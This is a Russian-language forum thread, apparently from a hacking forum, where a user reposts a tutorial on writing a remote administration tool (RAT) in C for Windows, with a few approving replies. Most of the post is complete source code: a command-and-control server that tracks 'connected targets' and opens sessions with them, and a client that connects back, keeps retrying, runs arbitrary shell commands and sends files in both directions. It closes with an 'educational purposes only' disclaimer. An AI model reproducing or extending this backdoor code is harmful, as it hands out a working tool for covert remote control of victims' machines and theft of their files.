Загрузка...

We write RAT (remote administration tool) in C.

Thread in C/C++ created by Barcik Jan 5, 2022. (bumped Jan 5, 2022) 1153 views

  1. Barcik
    Barcik Topic starter Jan 5, 2022 Ебал реп)000)0 6 Apr 10, 2018
    Сервер C2
    У нас будет управляющий сервер (C2), к которому будут подключатся клиенты. Для начала создадим заголовочный файл tools.h, в нем будут некоторые функции, которые мы будем использовать в клиенте и сервере.

    Code
        #ifndef TOOLS_H
    #define TOOLS_H
    #define BUFLEN 8192
    #define MEM_CHUNK 5
    // Функция чтения/хранения stdin пока “\n” не будет найдено
    size_t get_line(char* const buf) {
    char c;
    // Длина команды в байтах
    size_t cmd_len = 0;
    // Буфер с массивом команды в байтах, в котором создаем новый элемент и делаем его 0
    buf[cmd_len++] = ‘0’;
    // getchar() возвращает очередной символ из файла stdin, который считывается как переменная типа unsigned char
    c = getchar();
    while (c != ‘\n’ && cmd_len < BUFLEN) {
    buf[cmd_len++] = c;
    c = getchar();
    }
    return cmd_len;
    }
    // Функция сравнения двух строк
    int compare(const char* buf, const char* str) {
    for (int j = 0; str[j] != ‘\0’; j++) {
    if (str[j] != buf[j])
    return 0;
    }
    return 1;
    }
    // Функция копирования int байтов в новый блок памяти
    static inline uint32_t ntohl_conv(char* const buf) {
    uint32_t new;
    memcpy(&new, buf, sizeof(new));
    // Возвращаем переменную new после десериализации
    return ntohl(new);
    }
    #endif

    Теперь создадим файл win_server.c, в котором добавим нужные библиотеки и создадим структуры с переменными:

    Code
        #include <WS2tcpip.h>[/SIZE][/B][/SIZE]
    [SIZE=3][B][SIZE=5]
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include «tools.h»
    #pragma comment(lib, «ws2_32.lib»)
    typedef struct {
    // Переменная с айпи/именем хоста
    char* host;
    // Переменная с сокетом
    SOCKET sock;
    } Conn;
    typedef struct {
    // Мьютекс для проверки race condition
    HANDLE ghMutex;
    // Сокет сервера для приема подключений
    SOCKET listen_socket;
    // Массив Conn объектов/структур
    Conn* clients;
    // Выделенные блоки памяти
    size_t alloc;
    // К-во используемой памяти
    size_t size;
    } Conn_map;
    typedef int (*func)(char*, size_t, SOCKET);

    Напишем функции создания и закрытия сокета:

    Code
        // Функция закрытия сокета.

    void terminate_server(SOCKET socket, char* error) {
    int err_code = 0;
    if (error) {
    fprintf(stderr, «%s: ld\n», error, WSAGetLastError());
    err_code = 1;
    }
    closesocket(socket);
    /*
    Вызов WSACleanup позволяет системе освободить задействованные ресурсы.
    Здесь та же политика что и с кучей — память, выделенная на куче, просто так не освобождается.
    Поэтому, дабы избежать утечек памяти, нужно следить, чтобы все взятое у системы было ей обратно возвращено
    */
    WSACleanup();
    exit(err_code);
    }

    // Функция создания сокета.
    const SOCKET create_socket() {
    // Инициализируем winsock.
    WSADATA wsData;
    WORD ver = MAKEWORD(2, 2);
    /* Функция WSAStartup инициализирует структуру данных WSADATA.
    Поскольку эти структуры должны быть настроены для каждого процесса, использующего WinSock,
    каждый процесс должен вызвать WSAStartup, чтобы инициализировать структуры в своем собственном пространстве памяти,
    и WSACleanup, чтобы снова разорвать их, когда он закончит использовать сокеты
    */
    int wsResult = WSAStartup(ver, &wsData);
    // Создаем сокет сервера.
    const SOCKET listen_socket = socket(AF_INET, SOCK_STREAM, 0);
    /* В случае возникновения ошибки на этапе создания сокета сервера
    выведем в консоль сообщение через функцию WSAGetLastError, думаю не нужно объяснять, что она делает
    */
    if (listen_socket == INVALID_SOCKET) {
    fprintf(stderr, «Socket creation failed: %ld\n», WSAGetLastError());
    WSACleanup();
    exit(1);
    }
    int optval = 1;
    if (setsockopt(listen_socket, SOL_SOCKET, SO_REUSEADDR, (const char*)&optval, sizeof(optval)) != 0)
    terminate_server(listen_socket, «Error setting socket options»);
    return listen_socket;
    }

    Функция привязки сокета к указанному порту:

    Code
        // Функция для привязки сокета к указанному порту

    void bind_socket(const SOCKET listen_socket, const int port) {
    // Создаем hint структуру.
    struct sockaddr_in hint;
    hint.sin_family = AF_INET;
    // Функция htons осуществляет перевод целого короткого числа из порядка байт, принятого на компьютере, в сетевой порядок байт
    hint.sin_port = htons(port);
    hint.sin_addr.S_un.S_addr = INADDR_ANY;
    // Привязка ip-адреса и порта к listen_socket.
    if (bind(listen_socket, (struct sockaddr*)&hint, sizeof(hint)) != 0)
    terminate_server(listen_socket, «Socket bind failed with error»);
    // Переводим listen_socket в состояние «прослушивания»
    if (listen(listen_socket, SOMAXCONN) != 0)
    terminate_server(listen_socket, «An error occured while placing the socket in listening state»);
    }

    Рекурсивный прием соединений:

    Code
        // Поток для рекурсивного приема соединений

    DWORD WINAPI accept_conns(LPVOID* lp_param) {
    Conn_map* conns = (Conn_map*)lp_param;
    conns->alloc = MEM_CHUNK;
    conns->size = 0;
    conns->clients = malloc(conns->alloc * sizeof(Conn));
    conns->listen_socket = create_socket();
    // Порт, на котором мы будем ждать подключений
    bind_socket(conns->listen_socket, 4443);
    while (1) {
    struct sockaddr_in client;
    int c_size = sizeof(client);
    // Сокет клиента.
    const SOCKET client_socket = accept(conns->listen_socket, (struct sockaddr*)&client, &c_size);
    if (client_socket == INVALID_SOCKET)
    terminate_server(conns->listen_socket, «Error accepting client connection»);
    // Имя и порт клиента.
    char host[NI_MAXHOST] = { 0 };
    char service[NI_MAXHOST] = { 0 };
    if (conns->size == conns->alloc)
    conns->clients = realloc(conns->clients, (conns->alloc += MEM_CHUNK) * sizeof(Conn));
    if (getnameinfo((struct sockaddr*)&client, sizeof(client), host, NI_MAXHOST, service, NI_MAXSERV, 0) == 0) {
    printf(«%s connected on port %s\n», host, service);
    }
    else {
    inet_ntop(AF_INET, &client.sin_addr, host, NI_MAXHOST);
    printf(«%s connected on port %hu\n», host, ntohs(client.sin_port));
    }
    // Если delete_conn() выполняется — ждём, пока он закончит изменять conns->clients
    WaitForSingleObject(conns->ghMutex, INFINITE);
    // Добавляем имя хоста и объект client_socket в структуру Conn.
    conns->clients[conns->size].host = host;
    conns->clients[conns->size].sock = client_socket;
    conns->size++;
    ReleaseMutex(conns->ghMutex);
    }
    return -1;
    }

    Список подключенных клиентов:

    Code
        // Функция, которая показывает список доступных подключений

    void list_connections(const Conn_map* conns) {
    printf(«\n\n—————————\n»);
    printf(«— CONNECTED TARGETS —\n»);
    printf(«— Hostname: ID —\n»);
    printf(«—————————\n\n»);
    if (conns->size) {
    for (size_t i = 0; i < conns->size; i++) {
    printf(«%s: %lu\n», conns->clients[i].host, i);
    }
    printf(«\n\n»);
    }
    else {
    printf(«No connected targets available.\n\n\n»);
    }
    }


    Теперь создадим функции, которые будут отправлять команды клиенту:
    Скачивание файла:


    Code
        // Функция скачивания файла
    int recv_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
    // ‘4’ — код команды для скачивания файла
    buf[9] = ‘4’;
    // Отправляем код команды и имя файла
    if (send(client_socket, &buf[9], cmd_len, 0) < 1)
    return SOCKET_ERROR;
    FILE* fd = fopen(&buf[10], «wb»);
    // Получаем сериализованный размер файла
    if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
    return SOCKET_ERROR;
    // Десериализируем размер файла в байтах
    uint32_t f_size = ntohl_conv(&*(buf));
    // Меняем i_result на true
    int i_result = 1;
    // Переменная для отслеживания загруженных данных
    long int total = 0;
    // Получить все байты/фрагменты файла и записать их в файл
    while (total != f_size && i_result > 0) {
    i_result = recv(client_socket, buf, BUFLEN, 0);
    fwrite(buf, 1, i_result, fd);
    total += i_result;
    }
    // Закрываем файл
    fclose(fd);
    return i_result;
    }


    Отправка файла:

    Code
        // Функция отправки файла.[/B]
    [B]
    int send_file(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
    // ‘3’ — код команды для отправки файла
    buf[7] = ‘3’;
    // Отправляем код команды и имя файла
    if (send(client_socket, &buf[7], cmd_len, 0) < 1)
    return SOCKET_ERROR;
    // Открываем файл
    FILE* fd = fopen(&buf[8], «rb»);
    uint32_t bytes = 0, f_size = 0;
    // Еслий файл существует:
    if (fd) {
    // Получаем размер файла
    fseek(fd, 0L, SEEK_END);
    f_size = ftell(fd);
    // Сериализация f_size.
    bytes = htonl(f_size);
    fseek(fd, 0L, SEEK_SET);
    }
    if (send(client_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
    return SOCKET_ERROR;
    // Меняем i_result на true
    int i_result = 1;
    if (f_size) {
    // Рекурсивно читаем и отправляем байты файла клиенту
    int bytes_read;
    while (!feof(fd) && i_result > 0) {
    if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
    // Отправляем байты файла.
    i_result = send(client_socket, buf, bytes_read, 0);
    }
    else {
    break;
    }
    }
    // Закрываем файл
    fclose(fd);
    }
    return i_result;
    }


    Завершение работы RAT-a:

    Code
        // Функция закрытия соединения с клиентом[/B]
    [B]
    int terminate_client(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
    // ‘2’ код команды для удаления/завершения процесса RAT-a
    send(client_socket, «2», cmd_len, 0);
    return 0;
    }


    Смена директории:

    Code
        // Функция смены директории.[/B][/B]
    [B][B]
    int client_cd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
    // ‘1’ — код команды для смены директории
    buf[3] = ‘1’;
    // Отправка кода команды и названия директории
    if (send(client_socket, &buf[3], cmd_len, 0) < 1)
    return SOCKET_ERROR;
    return 1;
    }


    Функция отправки команд клиенту:

    [CODE] // Функция отправки команд клиенту

    int send_cmd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
    // Отправляем команду.
    if (send(client_socket, buf, cmd_len, 0) < 1)
    return SOCKET_ERROR;
    // Получаем размер выходного потока сериализованных байтов
    if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
    return SOCKET_ERROR;
    // Десериализация размера потока
    uint32_t s_size = ntohl_conv(&*(buf));
    // Меняем i_result на true
    int i_result = 1;
    // Получаем ответ команды и записываем его в stdout
    do {
    if ((i_result = recv(client_socket, buf, BUFLEN, 0)) < 1)
    return i_result;
    fwrite(buf, 1, i_result, stdout);
    } while ((s_size -= i_result) > 0);
    // Символ \n нужен для выравнивания командной строки
    fputc(‘\n’, stdout);
    return i_result;
    }[/CODE]

    Функция парсинга команд:

    [CODE] // Функция парсинга команд

    const func parse_cmd(char* const buf) {
    // Массив команд.
    const char commands[4][10] = { «cd «, «exit», «upload «, «download » };
    // Массив указателей функций каждой команды
    const func func_array[4] = { &client_cd, &terminate_client, &send_file, &recv_file };
    for (int i = 0; i < 4; i++) {
    if (compare(buf, commands[i]))
    return func_array[i];
    }
    // Если команда не обнаружилась в commands — отправляем/выполняем ее на клиенте через _popen()
    return &send_cmd;
    }[/CODE]

    Закрытие соединений:

    [CODE] // Функция для изменения размера массива conns/удаления и закрытия соединений.

    void delete_conn(Conn_map* conns, const int client_id) {
    // Если accept_conns() выполняется — ждём, пока завершится conns->clients.
    WaitForSingleObject(conns->ghMutex, INFINITE);
    if (conns->clients[client_id].sock)
    closesocket(conns->clients[client_id].sock);
    // Если есть более одного подключения:
    if (conns->size > 1) {
    int max_index = conns->size-1;
    for (size_t i = client_id; i < max_index; i++) {
    conns->clients[i].sock = conns->clients[i + 1].sock;
    conns->clients[i].host = conns->clients[i + 1].host;
    }
    conns->clients[max_index].sock = 0;
    conns->clients[max_index].host = NULL;
    }
    conns->size—;
    // ReleaseMutex нужен, чтобы accept_conns() мог продолжать выполняться.
    ReleaseMutex(conns->ghMutex);
    }[/CODE]


    Взаимодействие с соединениями:

    [CODE] // Функция для «сворачивания» соединения и вызова команд.

    void interact(Conn_map* conns, char* const buf, const int client_id) {
    const SOCKET client_socket = conns->clients[client_id].sock;
    char* client_host = conns->clients[client_id].host;
    // Меняем i_result на true.
    int i_result = 1;
    // Получаем и парсим команды /отправляем их клиенту.
    while (i_result > 0) {
    printf(«%s // «, client_host);
    // Обнуляем все байты в буфере.
    memset(buf, ‘\0’, BUFLEN);
    size_t cmd_len = get_line(buf);
    char* cmd = &buf[1];
    if (cmd_len > 1) {
    if (compare(cmd, «background»)) {
    return;
    }
    else {
    // Если команда спарсилась успешно вызываем её функцию или отправляем её клиенту.
    const func target_func = parse_cmd(cmd);
    i_result = target_func(buf, cmd_len, client_socket);
    }
    }
    }
    // Если клиент отключился/вышел — удаляем соединение.
    delete_conn(conns, client_id);
    printf(«Client: \»%s\» is no longer connected.\n\n», client_host);
    }[/CODE]

    Выполнение команд через Popen:

    [CODE] // Функция выполнения команд.

    void exec_cmd(char* const buf) {
    // Вызываем Popen чтобы выполнить команду и читаем её ответ.
    FILE* fpipe = _popen(buf, «r»);
    fseek(fpipe, 0, SEEK_END);
    size_t cmd_len = ftell(fpipe);
    fseek(fpipe, 0, SEEK_SET);
    // Пишем ответ команды в stdout.
    int rb = 0;
    do {
    rb = fread(buf, 1, BUFLEN, fpipe);
    fwrite(buf, 1, rb, stdout);
    } while (rb == BUFLEN);
    // Символ \n нужен для выравнивания командной строки.
    fputc(‘\n’, stdout);
    // Закрываем пайп.
    _pclose(fpipe);
    }[/CODE]

    Функция Main, в которой мы запускаем C2 сервер и ждем подключений:

    [CODE] // Основная функция для парсинга команд и вызова остальных функций.
    int main(void) {
    Conn_map conns;
    conns.ghMutex = CreateMutex(NULL, FALSE, NULL);
    HANDLE acp_thread = CreateThread(0, 0, accept_conns, &conns, 0, 0);
    HANDLE hColor;
    hColor = GetStdHandle(STD_OUTPUT_HANDLE);
    SetConsoleTextAttribute(hColor, 9);
    while (1) {
    printf(«CyberSec RAT\n[]==> «);
    // BUFLEN + 1, чтобы строка всегда оканчивалась нулем
    char buf[BUFLEN + 1] = { 0 };
    size_t cmd_len = get_line(buf);
    char* cmd = &buf[1];
    if (cmd_len > 1) {
    if (compare(cmd, «exit»)) {
    // Выйти из приема подключений
    TerminateThread(acp_thread, 0);
    // Если есть какие-либо коннекты, закрываем их перед выходом
    if (conns.size) {
    for (size_t i = 0; i < conns.size; i++) {
    closesocket(conns.clients[i].sock);
    }
    // Освобождаем выделенную память
    free(conns.clients);
    }
    terminate_server(conns.listen_socket, NULL);
    }
    else if (compare(cmd, «cd «)) {
    // Изменение текущей директории
    _chdir(&cmd[3]);
    }
    else if (compare(cmd, «list»)) {
    // Список всех подключений
    list_connections(&conns);
    }
    else if (compare(cmd, «interact «)) {
    // Взаимодействие с клиентом
    int client_id;
    client_id = atoi(&cmd[9]);
    if (!conns.size || client_id < 0 || client_id > conns.size — 1) {
    printf(«Invalid client identifier.\n»);
    }
    else {
    interact(&conns, buf, client_id);
    }
    }
    else {
    // Выполняем команду
    exec_cmd(cmd);
    }
    }
    }
    return -1;
    }[/CODE]


    На этом код сервера можно считать полностью готовым. Я использую IDE CodeBlocks, поэтому в настройках компиляции нужно указать библиотеку lws2_32, без нее IDE будет выдавать ошибки (для клиента нужно будет сделать этот шаг снова).
    [IMG] [IMG]

    После успешной компиляции можно проверить работоспособность сервера используя NetCat:
    [IMG] [IMG]

    Конекты приходят и с ними можно взаимодействовать, а это значит, что сервер работает.

    Клиент

    В коде клиента мы будем использовать заголовочный файл tools.h, который создали в начале статьи. Через #include добавляем нужные библиотеки и создаем функцию create_socket:

    [CODE] #include <ws2tcpip.h>[/B]
    [B]
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include «tools.h»
    #pragma comment(lib, «Ws2_32.lib»)
    // Функция создания сокета
    const SOCKET create_socket() {
    // Инициализируем winsock
    WSADATA wsData;
    WORD ver = MAKEWORD(2, 2);
    if (WSAStartup(ver, &wsData) != 0)
    return INVALID_SOCKET;
    // Создаем сокет
    const SOCKET connect_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (connect_socket == INVALID_SOCKET) {
    WSACleanup();
    return connect_socket;
    }
    return connect_socket;
    }[/CODE]


    Функция подключения к C2, которая будет принимать переменные host и port:

    [CODE] // Функция подключения сокета к c2 серверу.[/B]
    [B]
    int c2_connect(const SOCKET connect_socket, const char* host, const int port) {
    struct sockaddr_in hint;
    hint.sin_family = AF_INET;
    hint.sin_port = htons(port);
    inet_pton(AF_INET, host, &hint.sin_addr);
    // Подключение к серверу, на котором запущен c2
    if (connect(connect_socket, (struct sockaddr*)&hint, sizeof(hint)) == SOCKET_ERROR) {
    closesocket(connect_socket);
    return SOCKET_ERROR;
    }
    return 1;
    }[/CODE]


    Функция получения файла с С2:

    [CODE] // Функция получения файла с C2[/B]
    [B]
    int recv_file(char* const buf, const char* filename, const SOCKET connect_socket) {
    FILE* fd = fopen(filename, «wb»);
    // Получаем размер файла
    if (recv(connect_socket, buf, sizeof(uint32_t), 0) < 1)
    return SOCKET_ERROR;
    // Сериализуем f_size.
    uint32_t f_size = ntohl_conv(&*(buf));
    // Получаем байты и записываем их в файл.
    int i_result = 1;
    long int total = 0;
    while (total != f_size && i_result > 0) {
    i_result = recv(connect_socket, buf, BUFLEN, 0);
    fwrite(buf, 1, i_result, fd);
    total += i_result;
    }
    fclose(fd);
    return i_result;
    }[/CODE]


    Отправка файла на С2:

    [CODE] // Функция отправки файла на c2[/B]
    [B]
    int send_file(const char* filename, const SOCKET connect_socket, char* const buf) {
    // Открываем файл
    FILE* fd = fopen(filename, «rb»);
    uint32_t bytes = 0, f_size = 0;
    if (fd) {
    // Считаем размер файла
    fseek(fd, 0L, SEEK_END);
    f_size = ftell(fd);
    // Сериализуем f_size.
    bytes = htonl(f_size);
    fseek(fd, 0L, SEEK_SET);
    }
    if (send(connect_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
    return SOCKET_ERROR;
    int i_result = 1;
    // Рекурсивно читаем и отправляем байты файла на c2 сервер.
    if (f_size) {
    int bytes_read;
    while (!feof(fd) && i_result > 0) {
    // Читаем файл, пока не дойдем до конца
    if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
    // Отправляем байты
    i_result = send(connect_socket, buf, bytes_read, 0);
    }
    else {
    break;
    }
    }
    // Закрываем файл
    fclose(fd);
    }
    return i_result;
    }[/CODE]


    Выполнение команд через Popen:

    [CODE] // Функция выполнения команд[/B]
    [B]
    int exec_cmd(const SOCKET connect_socket, char* const buf) {
    // Вызываем Popen для выполнения команд и читаем результат.
    strcat(buf, » 2>&1″);
    FILE* fpipe = _popen(buf, «r»);
    int bytes_read;
    if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0) {
    bytes_read = 1;
    buf[0] = ‘\0’;
    }
    uint32_t s_size = bytes_read;
    const int chunk = 24576;
    int capacity = chunk;
    char* output = malloc(capacity);
    strcpy(output, buf);
    // Читаем и сохраняем stdout в output.
    while (1) {
    if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0)
    break;
    // Если output достигнет максимального объема в памяти.
    if ((s_size += bytes_read) == capacity)
    output = realloc(output, (capacity += chunk));
    strcat(output, buf);
    }
    // Сериализация s_size.
    uint32_t bytes = htonl(s_size);
    // Отправляем байты
    if (send(connect_socket, (char*)&bytes, sizeof(uint32_t), 0) < 1)
    return SOCKET_ERROR;
    int i_result = send(connect_socket, output, s_size, 0);
    free(output);
    // Закрываем пайп.
    _pclose(fpipe);
    return i_result;
    }[/CODE]


    Функция Main, в ней мы будем использовать кейсы для каждой команды, а если подключится к серверу не получиться – ждем 8 секунд и пробуем еще раз:

    [CODE] // Основная функция для подключения к серверу c2 и парсинга команд[/B]
    [B]
    int main(void) {
    // Порт и айпи c2 сервера.
    const char host[] = «127.0.0.1»;
    const int port = 4443;
    while (1) {
    // Создаем сокет.
    const SOCKET connect_socket = create_socket();
    /*
    При подключении к c2 запускаем цикл для приема/парсинга команд.
    В случае возникновения ошибки (потеря соединения и т.д.) — прерываем цикл и повторно его перезапускаем.
    Оператор switch будет анализировать и выполнять функции в соответствии с полученным кодом.
    */
    if (connect_socket != INVALID_SOCKET) {
    int i_result = c2_connect(connect_socket, host, port);
    while (i_result > 0) {
    // BUFLEN + 1 + 4, для null байта и конкатенации «2>&1»
    char buf[BUFLEN + 5] = { 0 };
    if (recv(connect_socket, buf, BUFLEN, 0) < 1)
    break;
    // buf[0] — код команды, а &buf[1] ее аргумент
    switch (buf[0]) {
    case ‘0’:
    i_result = exec_cmd(connect_socket, &buf[1]);
    break;
    case ‘1’:
    // Вызываем функцию смены директории
    _chdir(&buf[1]);
    break;
    case ‘2’:
    // Выход
    return 0;
    case ‘3’:
    // Получаем файл с c2 сервера
    i_result = recv_file(buf, &buf[1], connect_socket);
    break;
    case ‘4’:
    // Отправляем файл на c2 сервер
    i_result = send_file(&buf[1], connect_socket, buf);
    break;
    }
    }
    }
    // Если подключится не удалось ждем 8 секунд и пробуем еще раз
    Sleep(8000);
    }
    return -1;
    }[/CODE]


    Скриншоты работы:
    [IMG]

    Вес сервера 96 килобайт, а вес клиента 86 килобайт:
    [IMG]

    Данная статья написана только в образовательных целях, автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.


    Статья не моя, взял с форума cybersec, оформил по красоте и залил для вас на лолз.
     
  2. wDude
    wDude Jan 6, 2022 Боюсь быть не там и не тем. 3666 Aug 14, 2017
    Раздел не тот, перенеси в раздел "Программирование" -> "C/C++"
     
    1. Barcik Topic starter
      wDude, сейчас метнусь
  3. Пухляшик
    Пухляшик Jan 6, 2022 махачкала 226 Jan 6, 2022
    Много, полезно, лайк.+rep
     
Top
Loading...